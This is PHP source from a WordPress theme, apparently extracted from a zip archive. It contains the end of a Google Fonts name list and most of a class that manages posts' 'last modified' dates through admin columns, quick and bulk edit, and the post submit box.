			'"Suwannaphum", "100:300:regular:700:900", serif'                                                                                                                            => 'Suwannaphum',
			'"Swanky and Moo Moo", "regular", handwriting'                                                                                                                               => 'Swanky and Moo Moo',
			'"Syncopate", "regular:700", sans-serif'                                                                                                                                     => 'Syncopate',
			'"Syne", "regular:500:600:700:800", sans-serif'                                                                                                                              => 'Syne',
			'"Syne Mono", "regular", monospace'                                                                                                                                          => 'Syne Mono',
			'"Syne Tactile", "regular", display'                                                                                                                                         => 'Syne Tactile',
			'"Tac One", "regular", sans-serif'                                                                                                                                           => 'Tac One',
			'"Tai Heritage Pro", "regular:700", serif'                                                                                                                                   => 'Tai Heritage Pro',
			'"Tajawal", "200:300:regular:500:700:800:900", sans-serif'                                                                                                                   => 'Tajawal',
			'"Tangerine", "regular:700", handwriting'                                                                                                                                    => 'Tangerine',
			'"Tapestry", "regular", handwriting'                                                                                                                                         => 'Tapestry',
			'"Taprom", "regular", display'                                                                                                                                               => 'Taprom',
			'"Tauri", "regular", sans-serif'                                                                                                                                             => 'Tauri',
			'"Taviraj", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", serif'                         => 'Taviraj',
			'"Teachers", "regular:500:600:700:800:italic:500italic:600italic:700italic:800italic", sans-serif'                                                                           => 'Teachers',
			'"Teko", "300:regular:500:600:700", sans-serif'                                                                                                                              => 'Teko',
			'"Tektur", "regular:500:600:700:800:900", display'                                                                                                                           => 'Tektur',
			'"Telex", "regular", sans-serif'                                                                                                                                             => 'Telex',
			'"Tenali Ramakrishna", "regular", sans-serif'                                                                                                                                => 'Tenali Ramakrishna',
			'"Tenor Sans", "regular", sans-serif'                                                                                                                                        => 'Tenor Sans',
			'"Text Me One", "regular", sans-serif'                                                                                                                                       => 'Text Me One',
			'"Texturina", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                       => 'Texturina',
			'"Thasadith", "regular:italic:700:700italic", sans-serif'                                                                                                                    => 'Thasadith',
			'"The Girl Next Door", "regular", handwriting'                                                                                                                               => 'The Girl Next Door',
			'"The Nautigal", "regular:700", handwriting'                                                                                                                                 => 'The Nautigal',
			'"Tienne", "regular:700:900", serif'                                                                                                                                         => 'Tienne',
			'"Tillana", "regular:500:600:700:800", display'                                                                                                                              => 'Tillana',
			'"Tilt Neon", "regular", display'                                                                                                                                            => 'Tilt Neon',
			'"Tilt Prism", "regular", display'                                                                                                                                           => 'Tilt Prism',
			'"Tilt Warp", "regular", display'                                                                                                                                            => 'Tilt Warp',
			'"Timmana", "regular", sans-serif'                                                                                                                                           => 'Timmana',
			'"Tinos", "regular:italic:700:700italic", serif'                                                                                                                             => 'Tinos',
			'"Tiny5", "regular", sans-serif'                                                                                                                                             => 'Tiny5',
			'"Tiro Bangla", "regular:italic", serif'                                                                                                                                     => 'Tiro Bangla',
			'"Tiro Devanagari Hindi", "regular:italic", serif'                                                                                                                           => 'Tiro Devanagari Hindi',
			'"Tiro Devanagari Marathi", "regular:italic", serif'                                                                                                                         => 'Tiro Devanagari Marathi',
			'"Tiro Devanagari Sanskrit", "regular:italic", serif'                                                                                                                        => 'Tiro Devanagari Sanskrit',
			'"Tiro Gurmukhi", "regular:italic", serif'                                                                                                                                   => 'Tiro Gurmukhi',
			'"Tiro Kannada", "regular:italic", serif'                                                                                                                                    => 'Tiro Kannada',
			'"Tiro Tamil", "regular:italic", serif'                                                                                                                                      => 'Tiro Tamil',
			'"Tiro Telugu", "regular:italic", serif'                                                                                                                                     => 'Tiro Telugu',
			'"Titan One", "regular", display'                                                                                                                                            => 'Titan One',
			'"Titillium Web", "200:200italic:300:300italic:regular:italic:600:600italic:700:700italic:900", sans-serif'                                                                  => 'Titillium Web',
			'"Tomorrow", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                   => 'Tomorrow',
			'"Tourney", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", display'                       => 'Tourney',
			'"Trade Winds", "regular", display'                                                                                                                                          => 'Trade Winds',
			'"Train One", "regular", display'                                                                                                                                            => 'Train One',
			'"Trirong", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", serif'                         => 'Trirong',
			'"Trispace", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                              => 'Trispace',
			'"Trocchi", "regular", serif'                                                                                                                                                => 'Trocchi',
			'"Trochut", "regular:italic:700", display'                                                                                                                                   => 'Trochut',
			'"Truculenta", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Truculenta',
			'"Trykker", "regular", serif'                                                                                                                                                => 'Trykker',
			'"Tsukimi Rounded", "300:regular:500:600:700", sans-serif'                                                                                                                   => 'Tsukimi Rounded',
			'"Tulpen One", "regular", display'                                                                                                                                           => 'Tulpen One',
			'"Turret Road", "200:300:regular:500:700:800", display'                                                                                                                      => 'Turret Road',
			'"Twinkle Star", "regular", handwriting'                                                                                                                                     => 'Twinkle Star',
			'"Ubuntu", "300:300italic:regular:italic:500:500italic:700:700italic", sans-serif'                                                                                           => 'Ubuntu',
			'"Ubuntu Condensed", "regular", sans-serif'                                                                                                                                  => 'Ubuntu Condensed',
			'"Ubuntu Mono", "regular:italic:700:700italic", monospace'                                                                                                                   => 'Ubuntu Mono',
			'"Ubuntu Sans", "100:200:300:regular:500:600:700:800:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                              => 'Ubuntu Sans',
			'"Ubuntu Sans Mono", "regular:500:600:700:italic:500italic:600italic:700italic", monospace'                                                                                  => 'Ubuntu Sans Mono',
			'"Uchen", "regular", serif'                                                                                                                                                  => 'Uchen',
			'"Ultra", "regular", serif'                                                                                                                                                  => 'Ultra',
			'"Unbounded", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                             => 'Unbounded',
			'"Uncial Antiqua", "regular", display'                                                                                                                                       => 'Uncial Antiqua',
			'"Underdog", "regular", display'                                                                                                                                             => 'Underdog',
			'"Unica One", "regular", display'                                                                                                                                            => 'Unica One',
			'"UnifrakturCook", "700", display'                                                                                                                                           => 'UnifrakturCook',
			'"UnifrakturMaguntia", "regular", display'                                                                                                                                   => 'UnifrakturMaguntia',
			'"Unkempt", "regular:700", display'                                                                                                                                          => 'Unkempt',
			'"Unlock", "regular", display'                                                                                                                                               => 'Unlock',
			'"Unna", "regular:italic:700:700italic", serif'                                                                                                                              => 'Unna',
			'"Updock", "regular", handwriting'                                                                                                                                           => 'Updock',
			'"Urbanist", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                   => 'Urbanist',
			'"VT323", "regular", monospace'                                                                                                                                              => 'VT323',
			'"Vampiro One", "regular", display'                                                                                                                                          => 'Vampiro One',
			'"Varela", "regular", sans-serif'                                                                                                                                            => 'Varela',
			'"Varela Round", "regular", sans-serif'                                                                                                                                      => 'Varela Round',
			'"Varta", "300:regular:500:600:700", sans-serif'                                                                                                                             => 'Varta',
			'"Vast Shadow", "regular", serif'                                                                                                                                            => 'Vast Shadow',
			'"Vazirmatn", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                         => 'Vazirmatn',
			'"Vesper Libre", "regular:500:700:900", serif'                                                                                                                               => 'Vesper Libre',
			'"Viaoda Libre", "regular", display'                                                                                                                                         => 'Viaoda Libre',
			'"Vibes", "regular", display'                                                                                                                                                => 'Vibes',
			'"Vibur", "regular", handwriting'                                                                                                                                            => 'Vibur',
			'"Victor Mono", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", monospace'                                             => 'Victor Mono',
			'"Vidaloka", "regular", serif'                                                                                                                                               => 'Vidaloka',
			'"Viga", "regular", sans-serif'                                                                                                                                              => 'Viga',
			'"Vina Sans", "regular", display'                                                                                                                                            => 'Vina Sans',
			'"Voces", "regular", sans-serif'                                                                                                                                             => 'Voces',
			'"Volkhov", "regular:italic:700:700italic", serif'                                                                                                                           => 'Volkhov',
			'"Vollkorn", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                                  => 'Vollkorn',
			'"Vollkorn SC", "regular:600:700:900", serif'                                                                                                                                => 'Vollkorn SC',
			'"Voltaire", "regular", sans-serif'                                                                                                                                          => 'Voltaire',
			'"Vujahday Script", "regular", handwriting'                                                                                                                                  => 'Vujahday Script',
			'"Waiting for the Sunrise", "regular", handwriting'                                                                                                                          => 'Waiting for the Sunrise',
			'"Wallpoet", "regular", display'                                                                                                                                             => 'Wallpoet',
			'"Walter Turncoat", "regular", handwriting'                                                                                                                                  => 'Walter Turncoat',
			'"Warnes", "regular", display'                                                                                                                                               => 'Warnes',
			'"Water Brush", "regular", handwriting'                                                                                                                                      => 'Water Brush',
			'"Waterfall", "regular", handwriting'                                                                                                                                        => 'Waterfall',
			'"Wavefont", "100:200:300:regular:500:600:700:800:900", display'                                                                                                             => 'Wavefont',
			'"Wellfleet", "regular", serif'                                                                                                                                              => 'Wellfleet',
			'"Wendy One", "regular", sans-serif'                                                                                                                                         => 'Wendy One',
			'"Whisper", "regular", handwriting'                                                                                                                                          => 'Whisper',
			'"WindSong", "regular:500", handwriting'                                                                                                                                     => 'WindSong',
			'"Wire One", "regular", sans-serif'                                                                                                                                          => 'Wire One',
			'"Wittgenstein", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                              => 'Wittgenstein',
			'"Wix Madefor Display", "regular:500:600:700:800", sans-serif'                                                                                                               => 'Wix Madefor Display',
			'"Wix Madefor Text", "regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", sans-serif'                                                                   => 'Wix Madefor Text',
			'"Work Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                  => 'Work Sans',
			'"Workbench", "regular", monospace'                                                                                                                                          => 'Workbench',
			'"Xanh Mono", "regular:italic", monospace'                                                                                                                                   => 'Xanh Mono',
			'"Yaldevi", "200:300:regular:500:600:700", sans-serif'                                                                                                                       => 'Yaldevi',
			'"Yanone Kaffeesatz", "200:300:regular:500:600:700", sans-serif'                                                                                                             => 'Yanone Kaffeesatz',
			'"Yantramanav", "100:300:regular:500:700:900", sans-serif'                                                                                                                   => 'Yantramanav',
			'"Yarndings 12", "regular", display'                                                                                                                                         => 'Yarndings 12',
			'"Yarndings 12 Charted", "regular", display'                                                                                                                                 => 'Yarndings 12 Charted',
			'"Yarndings 20", "regular", display'                                                                                                                                         => 'Yarndings 20',
			'"Yarndings 20 Charted", "regular", display'                                                                                                                                 => 'Yarndings 20 Charted',
			'"Yatra One", "regular", display'                                                                                                                                            => 'Yatra One',
			'"Yellowtail", "regular", handwriting'                                                                                                                                       => 'Yellowtail',
			'"Yeon Sung", "regular", display'                                                                                                                                            => 'Yeon Sung',
			'"Yeseva One", "regular", display'                                                                                                                                           => 'Yeseva One',
			'"Yesteryear", "regular", handwriting'                                                                                                                                       => 'Yesteryear',
			'"Yomogi", "regular", handwriting'                                                                                                                                           => 'Yomogi',
			'"Young Serif", "regular", serif'                                                                                                                                            => 'Young Serif',
			'"Yrsa", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", serif'                                                                                    => 'Yrsa',
			'"Ysabeau", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Ysabeau',
			'"Ysabeau Infant", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'             => 'Ysabeau Infant',
			'"Ysabeau Office", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'             => 'Ysabeau Office',
			'"Ysabeau SC", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Ysabeau SC',
			'"Yuji Boku", "regular", serif'                                                                                                                                              => 'Yuji Boku',
			'"Yuji Hentaigana Akari", "regular", handwriting'                                                                                                                            => 'Yuji Hentaigana Akari',
			'"Yuji Hentaigana Akebono", "regular", handwriting'                                                                                                                          => 'Yuji Hentaigana Akebono',
			'"Yuji Mai", "regular", serif'                                                                                                                                               => 'Yuji Mai',
			'"Yuji Syuku", "regular", serif'                                                                                                                                             => 'Yuji Syuku',
			'"Yusei Magic", "regular", sans-serif'                                                                                                                                       => 'Yusei Magic',
			'"ZCOOL KuaiLe", "regular", sans-serif'                                                                                                                                      => 'ZCOOL KuaiLe',
			'"ZCOOL QingKe HuangYou", "regular", sans-serif'                                                                                                                             => 'ZCOOL QingKe HuangYou',
			'"ZCOOL XiaoWei", "regular", sans-serif'                                                                                                                                     => 'ZCOOL XiaoWei',
			'"Zain", "200:300:regular:700:800:900", sans-serif'                                                                                                                          => 'Zain',
			'"Zen Antique", "regular", serif'                                                                                                                                            => 'Zen Antique',
			'"Zen Antique Soft", "regular", serif'                                                                                                                                       => 'Zen Antique Soft',
			'"Zen Dots", "regular", display'                                                                                                                                             => 'Zen Dots',
			'"Zen Kaku Gothic Antique", "300:regular:500:700:900", sans-serif'                                                                                                           => 'Zen Kaku Gothic Antique',
			'"Zen Kaku Gothic New", "300:regular:500:700:900", sans-serif'                                                                                                               => 'Zen Kaku Gothic New',
			'"Zen Kurenaido", "regular", sans-serif'                                                                                                                                     => 'Zen Kurenaido',
			'"Zen Loop", "regular:italic", display'                                                                                                                                      => 'Zen Loop',
			'"Zen Maru Gothic", "300:regular:500:700:900", sans-serif'                                                                                                                   => 'Zen Maru Gothic',
			'"Zen Old Mincho", "regular:500:600:700:900", serif'                                                                                                                         => 'Zen Old Mincho',
			'"Zen Tokyo Zoo", "regular", display'                                                                                                                                        => 'Zen Tokyo Zoo',
			'"Zeyada", "regular", handwriting'                                                                                                                                           => 'Zeyada',
			'"Zhi Mang Xing", "regular", handwriting'                                                                                                                                    => 'Zhi Mang Xing',
			'"Zilla Slab", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                                                              => 'Zilla Slab',
			'"Zilla Slab Highlight", "regular:700", serif'                                                                                                                               => 'Zilla Slab Highlight',
		];

		return $penci_soledad_google_fonts;
	}
}PK     0w\/l!j  !j    mod-date.phpnu [        <?php

class PenciModDate {

	/**
	 * Register functions.
	 */
	public function __construct() {
		add_action( 'post_submitbox_misc_actions', [ $this, 'submitbox_edit' ], 5 );
		add_action( 'quick_edit_custom_box', [ $this, 'quick_edit' ], 10, 2 );
		add_action( 'bulk_edit_custom_box', [ $this, 'bulk_edit' ], 10, 2 );
		add_action( 'wp_ajax_process_bulk_edit', [ $this, 'bulk_save' ] );
		add_filter( 'wp_insert_post_data', [ $this, 'update_data' ], 9999, 2 );
		add_action( 'admin_init', function () {
			add_action( 'save_post', [ $this, 'save_post' ] );
			add_filter( 'post_updated_messages', [ $this, 'messages' ] );
		} );
		add_action( 'enqueue_block_editor_assets', [ $this, 'assets' ] );
		add_action( 'init', [ $this, 'register_meta' ] );
		if ( get_theme_mod( 'penci_lastmodified_pcol' ) ) {
			add_action( 'admin_init', [ $this, 'generate_column' ] );
		}
		add_action( 'admin_enqueue_scripts', [ $this, 'files' ] );

		$post_types = get_post_types( [ 'show_in_rest' => true ] );
		foreach ( $post_types as $post_type ) {
			add_filter( "rest_pre_insert_$post_type", [ $this, 'modified_params' ], 99, 2 );
		}
	}

	public function files( $hook ) {
		if ( 'edit.php' === $hook ) {

			wp_enqueue_script( 'pcmdate-edit', PENCI_SOLEDAD_URL . '/js/admin-edit.js', [ 'jquery' ], PENCI_SOLEDAD_VERSION, true );

			wp_localize_script( 'pcmdate-edit', 'pcmdate_edit_L10n', [
				'ajaxurl'  => admin_url( 'admin-ajax.php' ),
				'security' => wp_create_nonce( 'pcmdate_edit_nonce' ),
			] );
		}
	}

	public function generate_column() {
		// get all post types
		$post_types = get_post_types( $this->do_filter( 'admin_column_post_types', [] ) );
		if ( ! empty( $post_types ) ) {
			foreach ( $post_types as $post_type ) {
				add_filter( "manage_edit-{$post_type}_columns", [ $this, 'column_title' ] );
				add_action( "manage_edit-{$post_type}_sortable_columns", [ $this, 'column_sortable' ], 10, 2 );
				add_filter( "manage_{$post_type}_posts_columns", [ $this, 'column_title' ] );
				add_filter( "manage_{$post_type}_sortable_columns", [ $this, 'column_sortable' ], 10, 2 );
				add_action( "manage_{$post_type}_posts_custom_column", [ $this, 'column_data' ], 10, 2 );
			}
		}
	}

	public function column_sortable( $column ) {
		$column['lastmodified'] = 'modified';

		return $column;
	}

	public function column_data( $column, $post_id ) {
		if ( 'lastmodified' === $column ) {
			$post = get_post( $post_id );

			$get_df     = get_option( 'date_format' );
			$get_tf     = get_option( 'time_format' );
			$m_orig     = get_post_field( 'post_modified', $post->ID, 'raw' );
			$p_meta     = get_post_meta( $post->ID, '_lmt_disableupdate', true );
			$modified   = date_i18n( $this->do_filter( 'admin_column_datetime_format', $get_df . ' \a\t ' . $get_tf, $post->ID ), strtotime( $m_orig ) );
			$mod_format = date( 'M d, Y H:i:s', strtotime( $m_orig ) );
			$disabled   = ( ! empty( $p_meta ) ) ? 'yes' : 'no';

			$html = $modified;
			if ( get_the_modified_author() ) {
				$html .= '<br>' . __( 'by', 'soledad' ) . ' <strong>' . esc_html( get_the_modified_author() ) . '</strong>';
			}
			if ( ! in_array( $post->post_status, [ 'auto-draft', 'future' ] ) ) {
				if ( $p_meta == 'yes' ) {
					$html .= ' <span class="pcmdate-lock dashicons dashicons-lock" title="' . esc_attr__( 'Modified date time update is disabled.', 'soledad' ) . '" style="font-size:16px; padding-top: 3px;"></span>';
				}
				$html .= '<span class="pcmdate-hidden-date-format" style="display: none;">' . esc_html( $mod_format ) . '</span>';
				$html .= '<span class="pcmdate-hidden-post-modified" style="display: none;">' . esc_html( $post->post_modified ) . '</span>';
				$html .= '<span class="pcmdate-hidden-disabled" style="display: none;">' . esc_html( $disabled ) . '</span>';
				$html .= '<span class="pcmdate-hidden-post-type" style="display: none;">' . esc_html( $post->post_type ) . '</span>';
			}
			$html .= '<span class="pcmdate-hidden-status" style="display: none;">' . esc_html( $post->post_status ) . '</span>';

			echo $html;
		}
	}

	public function column_title( $column ) {
		$column['lastmodified'] = __( 'Last Modified', 'soledad' );

		return $column;
	}

	protected function filter( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
		return \add_filter( $tag, [ $this, $function_to_add ], $priority, $accepted_args );
	}

	public function register_meta() {
		register_meta(
			'post',
			'_lmt_disableupdate',
			[
				'show_in_rest'      => true,
				'type'              => 'string',
				'single'            => true,
				'sanitize_callback' => 'sanitize_text_field',
				'auth_callback'     => function () {
					return current_user_can( 'edit_posts' );
				},
			]
		);

		register_meta(
			'post',
			'_lmt_disable',
			[
				'show_in_rest'      => true,
				'type'              => 'string',
				'single'            => true,
				'sanitize_callback' => 'sanitize_text_field',
				'auth_callback'     => function () {
					return current_user_can( 'edit_posts' );
				},
			]
		);
	}

	public function modified_params( $prepared_post, $request ) {
		if ( 'PUT' !== $request->get_method() ) {
			return $prepared_post;
		}

		$params = $request->get_params();

		if ( isset( $params['modified'] ) ) {
			$prepared_post->pcmdate_modified_rest = $params['modified'];
		}

		if ( isset( $params['meta']['_lmt_disableupdate'] ) ) {
			$prepared_post->pcmdate_lockmodifiedupdate = $params['meta']['_lmt_disableupdate'];
		}

		return $prepared_post;
	}

	public function assets() {
		global $post;

		if ( ! $post instanceof \WP_Post ) {
			return; // load assets only in post edit screen.
		}

		$asset_file = include( PENCI_SOLEDAD_DIR . '/inc/block-editor/build/index.asset.php' );

		wp_enqueue_script( 'pcmdate-block-editor', PENCI_SOLEDAD_URL . '/inc/block-editor/build/index.js', $asset_file['dependencies'], $asset_file['version'], true );
		wp_localize_script( 'pcmdate-block-editor', 'pcmdateBlockEditor', [
			'postTypes' => [ 'post' ],
			'isEnabled' => true,
		] );
	}

	/**
	 * Post Submit Box HTML output.
	 *
	 * @param string $post WP Post
	 */
	public function submitbox_edit( $post ) {
		global $wp_locale;

		if ( in_array( $post->post_status, [ 'auto-draft', 'future' ] ) ) {
			return;
		}

		$datemodified = $post->post_modified;

		$jj = mysql2date( 'd', $datemodified, false );
		$mm = mysql2date( 'm', $datemodified, false );
		$aa = mysql2date( 'Y', $datemodified, false );
		$hh = mysql2date( 'H', $datemodified, false );
		$mn = mysql2date( 'i', $datemodified, false );
		$ss = mysql2date( 's', $datemodified, false );

		$stop_update = get_post_meta( $post->ID, '_lmt_disableupdate', true );
		$post_types  = get_post_type_object( $post->post_type );

		// get modified time with a particular format
		$orig_time = get_post_time( 'U', false, $post );
		$mod_time  = get_post_modified_time( 'U', false, $post ); ?>

        <div class="misc-pub-section curtime misc-pub-last-updated">
        <span id="pcmdate-timestamp"> <?php esc_html_e( 'Updated on:', 'soledad' ) ?> <strong><?php echo get_the_modified_time( 'M j, Y \a\t H:i' ); ?></strong></span>
        <a href="#edit_timestampmodified" class="edit-timestampmodified hide-if-no-js" role="button"><span
                    aria-hidden="true"><?php esc_html_e( 'Edit', 'soledad' ); ?></span> <span
                    class="screen-reader-text"><?php esc_html_e( 'Edit modified date and time', 'soledad' ); ?></span></a>
        <fieldset id="timestampmodifieddiv" class="hide-if-js"
                  data-prefix="<?php esc_attr_e( 'Updated on:', 'soledad' ); ?>"
                  data-separator="<?php esc_attr_e( 'at', 'soledad' ); ?>"
                  style="padding-top: 5px;line-height: 1.76923076;">
            <legend class="screen-reader-text"><?php esc_html_e( 'Last modified date and time', 'soledad' ); ?></legend>
            <div class="timestamp-wrap">
                <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Month', 'soledad' ); ?></span>
                    <select id="mmm" name="mmm" class="time-modified">
						<?php
						for ( $i = 1; $i < 13; $i ++ ) {
							$monthnum  = zeroise( $i, 2 );
							$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
							echo '<option value="' . $monthnum . '" data-text="' . $monthtext . '" ' . selected( $monthnum, $mm, false ) . '>' . sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . '</option>';
						}
						?>
                    </select>
                </label>
                <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Day', 'soledad' ); ?></span>
                    <input type="text" id="jjm" class="time-modified jjm-edit" name="jjm" value="<?php echo $jj; ?>"
                           size="2" maxlength="2" autocomplete="off"/>
                </label>, <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Year', 'soledad' ); ?></span>
                    <input type="text" id="aam" class="time-modified aam-edit" name="aam" value="<?php echo $aa; ?>"
                           size="4" maxlength="4" autocomplete="off"/>
                </label> <?php esc_html_e( 'at', 'soledad' ); ?><label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Hour', 'soledad' ); ?></span>
                    <input type="text" id="hhm" class="time-modified hhm-edit" name="hhm" value="<?php echo $hh; ?>"
                           size="2" maxlength="2" autocomplete="off"/>
                </label><?php esc_html_e( ':', 'soledad' ); ?><label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Minute', 'soledad' ); ?></span>
                    <input type="text" id="mnm" class="time-modified mnm-edit" name="mnm" value="<?php echo $mn; ?>"
                           size="2" maxlength="2" autocomplete="off"/>
                </label>
            </div>
            <label for="pcmdate_disable" class="pcmdate-disable-update" style="display:block;margin: 5px 0;"
                   title="<?php esc_attr_e( 'Keep this checked, if you do not want to change modified date and time on this post.', 'soledad' ); ?>">
                <input type="checkbox" id="pcmdate_disable" name="disableupdate" <?php if ( $stop_update == 'yes' ) {
					echo 'checked';
				} ?>><span><?php esc_html_e( 'Lock the Modified Date', 'soledad' ); ?></span>
            </label>
			<?php

			$currentlocal = current_time( 'timestamp', 0 );
			$mm_current   = gmdate( 'm', $currentlocal );
			$jj_current   = gmdate( 'd', $currentlocal );
			$aa_current   = gmdate( 'Y', $currentlocal );
			$hh_current   = gmdate( 'H', $currentlocal );
			$mn_current   = gmdate( 'i', $currentlocal );

			$vals = [
				'mmm' => [ $mm, $mm_current ],
				'jjm' => [ $jj, $jj_current ],
				'aam' => [ $aa, $aa_current ],
				'hhm' => [ $hh, $hh_current ],
				'mnm' => [ $mn, $mn_current ],
			];

			foreach ( $vals as $key => $val ) {
				echo '<input type="hidden" id="hidden_' . $key . '" name="hidden_' . $key . '" value="' . $val[0] . '">';
				echo '<input type="hidden" id="cur_' . $key . '" name="cur_' . $key . '" value="' . $val[1] . '">';
			} ?>

            <input type="hidden" id="ssm" name="ssm" value="<?php echo $ss; ?>">
            <input type="hidden" id="pcmdate-change-modified" name="pcmdate_change" value="no">
            <input type="hidden" id="pcmdate-disable-hidden" name="pcmdate_disable"
                   value="<?php echo ( $stop_update ) ? (bool) $stop_update : 'no'; ?>">
            <input type="hidden" id="pcmdate-post-modified" name="pcmdate_modified"
                   value="<?php echo $datemodified; ?>">

            <p id="pcmdate-meta" class="pcmdate-meta-options">
                <a href="#edit_timestampmodified"
                   class="save-timestamp hide-if-no-js button"><?php esc_html_e( 'OK', 'soledad' ); ?></a>
                <a href="#edit_timestampmodified"
                   class="cancel-timestamp hide-if-no-js button-cancel"><?php esc_html_e( 'Cancel', 'soledad' ); ?></a>&nbsp;&nbsp;&nbsp;
            </p>
        </fieldset>
        </div><?php
	}

	/**
	 * Quick edit HTML output.
	 *
	 * @param string $column_name Current column name
	 * @param string $post_type Post type
	 */
	public function quick_edit( $column_name, $post_type ) {
		global $wp_locale;

		if ( 'lastmodified' !== $column_name ) {
			return;
		} ?>

        <fieldset id="inline-edit-col-modified-date" class="inline-edit-date">
            <legend><span class="title"><?php esc_html_e( 'Modified', 'soledad' ); ?></span></legend>
            <div class="timestamp-wrap">
                <label class="inline-edit-group">
                    <span class="screen-reader-text"><?php esc_html_e( 'Month', 'soledad' ); ?></span>
                    <select id="mmm" class="time-modified" name="mmm">
						<?php
						for ( $i = 1; $i < 13; $i ++ ) {
							$monthnum  = zeroise( $i, 2 );
							$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
							echo '<option value="' . $monthnum . '" data-text="' . $monthtext . '">' . sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . '</option>';
						}
						?>
                    </select>
                </label>
                <label class="inline-edit-group">
                    <span class="screen-reader-text"><?php esc_html_e( 'Day', 'soledad' ); ?></span>
                    <input type="text" id="jjm" class="time-modified tm-jjm" name="jjm" value="" size="2" maxlength="2"
                           autocomplete="off"/>
                </label>, <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Year', 'soledad' ); ?></span>
                    <input type="text" id="aam" class="time-modified tm-aam" name="aam" value="" size="4" maxlength="4"
                           autocomplete="off"/>
                </label> <?php esc_html_e( 'at', 'soledad' ); ?> <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Hour', 'soledad' ); ?></span>
                    <input type="text" id="hhm" class="time-modified tm-hhm" name="hhm" value="" size="2" maxlength="2"
                           autocomplete="off"/>
                </label>:<label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Minute', 'soledad' ); ?></span>
                    <input type="text" id="mnm" class="time-modified tm-mnm" name="mnm" value="" size="2" maxlength="2"
                           autocomplete="off"/>
                </label>&nbsp;&nbsp;<label for="pcmdate_disable">
                    <input type="checkbox" id="pcmdate_disable" name="disableupdate"/>
                    <span class="checkbox-title"><?php esc_html_e( 'Lock the Modified Date', 'soledad' ); ?></span>
                </label>
            </div>
            <input type="hidden" id="ssm" name="ssm" value="">
            <input type="hidden" id="pcmdate-change-modified" name="pcmdate_change" value="no">
            <input type="hidden" id="pcmdate-disable-hidden" name="pcmdate_disable" value="">
            <input type="hidden" id="pcmdate-post-modified" name="pcmdate_modified" value="">
        </fieldset>
		<?php
	}

	/**
	 * Quick ecit HTML output.
	 *
	 * @param string $column_name Current column name
	 * @param string $post_type Post type
	 */
	public function bulk_edit( $column_name, $post_type ) {
		global $wp_locale;

		if ( 'lastmodified' !== $column_name ) {
			return;
		} ?>

        <div class="inline-edit-col pcmdate-bulkedit">
            <fieldset class="inline-edit-date">
                <legend><span class="title"><?php esc_html_e( 'Modified', 'soledad' ); ?></span></legend>
                <div class="timestamp-wrap">
                    <label class="inline-edit-group">
                        <span class="screen-reader-text"><?php esc_html_e( 'Month', 'soledad' ); ?></span>
                        <select id="mmm" class="time-modified" name="mmm">
                            <option value="none">— <?php esc_html_e( 'No Change', 'soledad' ); ?>—
                            </option>
							<?php
							for ( $i = 1; $i < 13; $i ++ ) {
								$monthnum  = zeroise( $i, 2 );
								$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
								echo '<option value="' . $monthnum . '" data-text="' . $monthtext . '">' . sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . '</option>';
							}
							?>
                        </select>
                    </label>
                    <label class="inline-edit-group">
                        <span class="screen-reader-text"><?php esc_html_e( 'Day', 'soledad' ); ?></span>
                        <input type="text" id="jjm" class="time-modified tm-jjm" name="jjm" value="" size="2"
                               maxlength="2" placeholder="<?php esc_attr_e( 'Day', 'soledad' ); ?>"
                               autocomplete="off"/>
                    </label>, <label>
                        <span class="screen-reader-text"><?php esc_html_e( 'Year', 'soledad' ); ?></span>
                        <input type="text" id="aam" class="time-modified tm-aam" name="aam" value="" size="4"
                               maxlength="4" placeholder="<?php esc_attr_e( 'Year', 'soledad' ); ?>"
                               autocomplete="off"/>
                    </label> <?php esc_html_e( 'at', 'soledad' ); ?> <label>
                        <span class="screen-reader-text"><?php esc_html_e( 'Hour', 'soledad' ); ?></span>
                        <input type="text" id="hhm" class="time-modified tm-hhm" name="hhm" value="" size="2"
